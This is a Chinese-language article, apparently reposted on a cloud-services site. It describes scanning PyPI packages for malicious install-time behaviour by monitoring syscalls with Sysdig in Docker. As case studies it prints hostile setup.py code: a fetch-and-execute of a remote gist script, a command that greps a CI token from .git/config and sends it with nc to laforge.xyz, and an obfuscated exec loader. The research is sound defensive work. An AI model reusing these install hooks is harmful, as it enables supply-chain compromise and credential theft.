溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何在PyPI上尋找惡意軟件包

發(fā)布時(shí)間:2021-12-04 10:01:55 來源:億速云 閱讀:128 作者:柒染 欄目:網(wǎng)絡(luò)管理

如何在PyPI上尋找惡意軟件包,針對(duì)這個(gè)問題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡(jiǎn)單易行的方法。

大約一年前,Python軟件基金會(huì)(Python Software Foundation,RFI)公開了一個(gè)信息請(qǐng)求(RFI),討論的是如何檢測(cè)上傳到PyPI的惡意軟件包,這顯然是一個(gè)影響幾乎每個(gè)包管理器的實(shí)際問題。

事實(shí)上,像PyPI這樣的包管理器是幾乎每個(gè)公司都依賴的關(guān)鍵基礎(chǔ)設(shè)施。這是我感興趣的一個(gè)領(lǐng)域,所以我用我的想法回應(yīng)我們應(yīng)該如何去處理這個(gè)問題。在這篇文章中,我將詳細(xì)介紹如何安裝和分析PyPI中的每個(gè)包,并尋找其中潛在的惡意活動(dòng)。

如何尋找惡意庫

為了在軟件包的安裝過程中執(zhí)行任意命令,開發(fā)人員通常會(huì)將代碼添加到代碼包里的setup.py文件中,具體可以參考這個(gè)【代碼庫】。

從大的角度來看,我們有兩種方法可以找到潛在的惡意依賴組件,即靜態(tài)分析和動(dòng)態(tài)分析。雖然靜態(tài)分析非常有趣,但本文主要使用的是動(dòng)態(tài)分析方法。

那么,我們到底要尋找什么呢?

首先我們要知道一點(diǎn),很多重要的事情都是由內(nèi)核完成的。一般的程序(例如pip)如果想要讓內(nèi)核來完成某個(gè)任務(wù)時(shí),一般都是通過使用syscalls,即系統(tǒng)調(diào)用完成的。打開文件,建立網(wǎng)絡(luò)連接,以及執(zhí)行命令等任務(wù),都是通過系統(tǒng)調(diào)用實(shí)現(xiàn)的。

這也就意味著,如果我們能在一個(gè)Python包的安裝過程中監(jiān)控系統(tǒng)調(diào)用的話,那我們就可以去查看任何可疑的事件了。這樣做的好處就在于,無論惡意代碼經(jīng)過了多少層混淆處理,我們都可以查看到這些代碼實(shí)際要做的事情。

現(xiàn)在,我們只要要做的事情就是監(jiān)控系統(tǒng)調(diào)用了,那么我們?cè)撊绾巫瞿兀?/p>

使用Sysdig監(jiān)控系統(tǒng)調(diào)用

實(shí)際上,社區(qū)已經(jīng)提供了很多能夠幫助我們監(jiān)控系統(tǒng)調(diào)用的工具了。針對(duì)我們這個(gè)目標(biāo),我選擇使用的時(shí)Sysdig,因?yàn)樗饶軌蛱峁┙Y(jié)構(gòu)化的輸出,又能夠幫助我們很好地對(duì)數(shù)據(jù)進(jìn)行過濾。

為了實(shí)現(xiàn)這一點(diǎn),在啟動(dòng)安裝包的Docker容器時(shí),我還啟動(dòng)了一個(gè)Sysdig進(jìn)程,該進(jìn)程只會(huì)監(jiān)視來自該容器的事件。除此之外,我還過濾掉了跟pypi.org或files.pythonhosted.com相關(guān)的網(wǎng)絡(luò)讀寫操作,因?yàn)樗鼈兏覀兊哪繕?biāo)無關(guān)。

現(xiàn)在我們已經(jīng)有了捕獲系統(tǒng)調(diào)用的方法,但還有一個(gè)不得不解決的問題,即如何獲取所有可用PyPI包的完整列表。

獲取Python包

幸運(yùn)的是,PyPI提供了一個(gè)名為“Simple API”的API接口,這個(gè)接口可以被當(dāng)作是一個(gè)包含了指向每一個(gè)軟件包鏈接的大型HTML頁面。我們可以爬取這個(gè)頁面中的信息,并使用pup來對(duì)鏈接進(jìn)行解析,這樣我們就可以拿到大約268000個(gè)軟件包:

? curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

 

? wc -l pypi_full.txt

  268038 pypi_full.txt

針對(duì)我們的實(shí)驗(yàn)場(chǎng)景,我們需要的是每一個(gè)軟件包的最新版本,我們的管道如下:

如何在PyPI上尋找惡意軟件包

簡(jiǎn)而言之,我們將每個(gè)包的名稱發(fā)送到一組EC2實(shí)例,它可以從PyPI獲取關(guān)于包的一些元數(shù)據(jù),然后啟動(dòng)sysdig以及一系列容器來通過pip安裝包,同時(shí)收集系統(tǒng)調(diào)用和網(wǎng)絡(luò)流量。然后,所有的數(shù)據(jù)都被傳送到S3以供后續(xù)分析使用。

整個(gè)過程如下圖所示:

如何在PyPI上尋找惡意軟件包

上述操作完成后,我們將在一個(gè)S3 Bucket中存儲(chǔ)大約1TB的數(shù)據(jù),其中包含了大約245000個(gè)軟件包。我們對(duì)元數(shù)據(jù)和輸出進(jìn)行整理之后,將得到一系列JSON文件:

{

    "metadata": {},

    "output": {

        "dns": [],         // Any DNS requests made

        "files": [],       // All file access operations

        "connections": [], // TCP connections established

        "commands": [],    // Any commands executed

    }

}

然后,我編寫了一系列腳本來聚合數(shù)據(jù),試圖對(duì)代碼的行為進(jìn)行分析,讓我們深入研究一下結(jié)果。

網(wǎng)絡(luò)請(qǐng)求

軟件包在安裝過程中需要進(jìn)行網(wǎng)絡(luò)連接的原因有很多,它們可能需要下載合法的二進(jìn)制組件或其他資源,也有可能是在嘗試從系統(tǒng)中提取數(shù)據(jù)或憑證。

我們發(fā)現(xiàn),其中有460包會(huì)跟109臺(tái)單獨(dú)的主機(jī)建立網(wǎng)絡(luò)連接。正如上面提到的,其中相當(dāng)一部分是由于軟件包共享依賴組件(這些依賴會(huì)進(jìn)行網(wǎng)絡(luò)連接)的結(jié)果。不過,我們可以通過映射依賴關(guān)系可以過濾掉這些內(nèi)容。

命令執(zhí)行

與網(wǎng)絡(luò)連接一樣,軟件包在安裝期間運(yùn)行系統(tǒng)命令也是有正當(dāng)理由,這里可以是編譯本機(jī)二進(jìn)制文件和設(shè)置正確的環(huán)境等等??v觀我們的示例集,我們發(fā)現(xiàn)有60725個(gè)包會(huì)在安裝期間執(zhí)行命令。就像網(wǎng)絡(luò)連接一樣,我們必須記住,許多連接都是由運(yùn)行命令的包的下游依賴組件發(fā)起的。

有趣的軟件包

深入研究結(jié)果,大多數(shù)網(wǎng)絡(luò)連接和命令似乎是合法的。但是,我想把一些奇怪的行為作為案例研究,來說明這種分析有多有用。

i-am-malicious

這里,我們發(fā)現(xiàn)了一個(gè)名叫i-am-malicious的包,它就是一個(gè)惡意包。如果大家覺得這個(gè)包的名字還不夠明顯的話,下面的細(xì)節(jié)也足以證明一切:

{

  "dns": [{

          "name": "gist.githubusercontent.com",

          "addresses": [

            "199.232.64.133"

          ]

    }]

  ],

  "files": [

    ...

    {

      "filename": "/tmp/malicious.py",

      "flag": "O_RDONLY|O_CLOEXEC"

    },

    ...

    {

      "filename": "/tmp/malicious-was-here",

      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"

    },

    ...

  ],

  "commands": [

    "python /tmp/malicious.py"

  ]

}

我們看到,它會(huì)跟gist.github.com建立連接,執(zhí)行一個(gè)Python文件,然后創(chuàng)建一個(gè)名為“/tmp/malicious-was-here”的文件。果不其然,這些全部都是利用setup.py實(shí)現(xiàn)的:

from urllib.request import urlopen

 

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")

with open("/tmp/malicious.py", "wb") as fp:

    fp.write(handler.read())

 

import subprocess

 

subprocess.call(["python", "/tmp/malicious.py"])

maliciouspackage

另一個(gè)惡意包甚至直接把名字都改成了maliciouspackage,下面給出的是相關(guān)的輸出:

{

  "dns": [{

      "name": "laforge.xyz",

      "addresses": [

        "34.82.112.63"

      ]

  }],

  "files": [

    {

      "filename": "/app/.git/config",

      "flag": "O_RDONLY"

    },

  ],

  "commands": [

    "sh -c apt install -y socat",

    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",

    "grep ci-token /app/.git/config",

    "nc laforge.xyz 5566"

  ]

}

這個(gè)包似乎能夠從“.git/config”文件中提取出令牌,并將其上傳至laforge.xyz。通過分析其setup.py,我們可以看到下列內(nèi)容:

...

import os

os.system('apt install -y socat')

os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

還有一個(gè)名叫easyIoCtl的包,它聲稱能夠抽象化IO操作,但我們發(fā)現(xiàn)它會(huì)執(zhí)行下列命令:

[

  "sh -c touch /tmp/testing123",

  "touch /tmp/testing123"

]

這很可疑,但不一定具有惡意性。不過這個(gè)例子很好地展示了我們用于跟蹤系統(tǒng)調(diào)用的方法。下面是該項(xiàng)目的setup.py文件:

class MyInstall():

    def run(self):

        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'

        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]

        control_flow_guard_init = ""

        for controL_flow_code in control_flow_guard_mappers:

            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]

        exec(control_flow_guard_init)

為了弄清楚這些代碼要做的事情,我們可以用print來代替exec,結(jié)果如下:

import os;os.system('touch /tmp/testing123')

這就是它索要執(zhí)行的命令,即使代碼經(jīng)過了混淆處理,也不會(huì)影響我們的分析結(jié)果,因?yàn)槲覀兪窃谙到y(tǒng)調(diào)用級(jí)別上進(jìn)行的監(jiān)控。

關(guān)于如何在PyPI上尋找惡意軟件包問題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI